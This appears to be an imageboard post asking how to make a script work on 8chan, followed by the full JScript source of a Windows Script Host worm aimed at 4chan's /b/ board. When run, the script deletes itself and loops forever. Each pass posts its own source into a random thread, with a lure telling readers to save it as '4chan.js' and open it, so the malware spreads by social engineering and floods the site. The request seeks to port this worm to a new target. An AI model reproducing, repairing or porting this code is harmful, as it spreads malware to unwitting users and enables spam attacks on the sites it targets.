How do i make this script work on 8chan?
k="Content-Disposition: form-data; name="
function r(){
return String.fromCharCode( "a".charCodeAt(0) + Math.floor( Math.random() * 26 ) )
}
f = WSH.createobject("scripting.filesystemobject")
g = f.opentextfile(WSH.scriptfullname)
h = g.readall()
g.close()
f.deletefile( WSH.scriptfullname )
x = "Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n" + h
a = WSH.createobject( "msxml2.xmlhttp" )
while(1) {
a.open( "get", "http://img.4chan.org/b", 0 )
a.send()
b = a.responsetext
c = b.substr( b.indexOf( "res/" ) + 4, 8 )
d = ""
e = ""
for( i = 0; i < 20; i++ )
d += r()
for( i = 0; i < 8; i++ )
e += r()
a.open( "post", "http://dat.4chan.org/b/imgboard.php", 0 )
t = "multipart/form-data; boundary=" + d
a.setrequestheader( "Content-Type", t )
a.send("--" + d + "\r\n" +
k + "\"MAX_FILE_SIZ8\"\r\n\r\n" + "2097152\r\n--" + d + "\r\n" +
k + "\"resto\"\r\n\r\n" + c + "\r\n--" + d + "\r\n" +
k + "\"name\"\r\n\ r\n\r\n--" + d + "\r\n" +
k + "\"email\"\r\n\r\n\r\n--" + d + "\r\n" + k + "\"sub\"\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"com\"\r\n\r\n" + x + "\r\n--" + d + "\r\n" +
k + "\"upfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"pwd\"\r\n\r\n" + e + "\r\n--" + d + "\r\n" +
k + "\"mode\"\r\n\r\nregist\r\n--" + d + "--\r\n" )
WSH.sleep( 3e4 + Math.floor( Math.random() * 3e4 ) )
}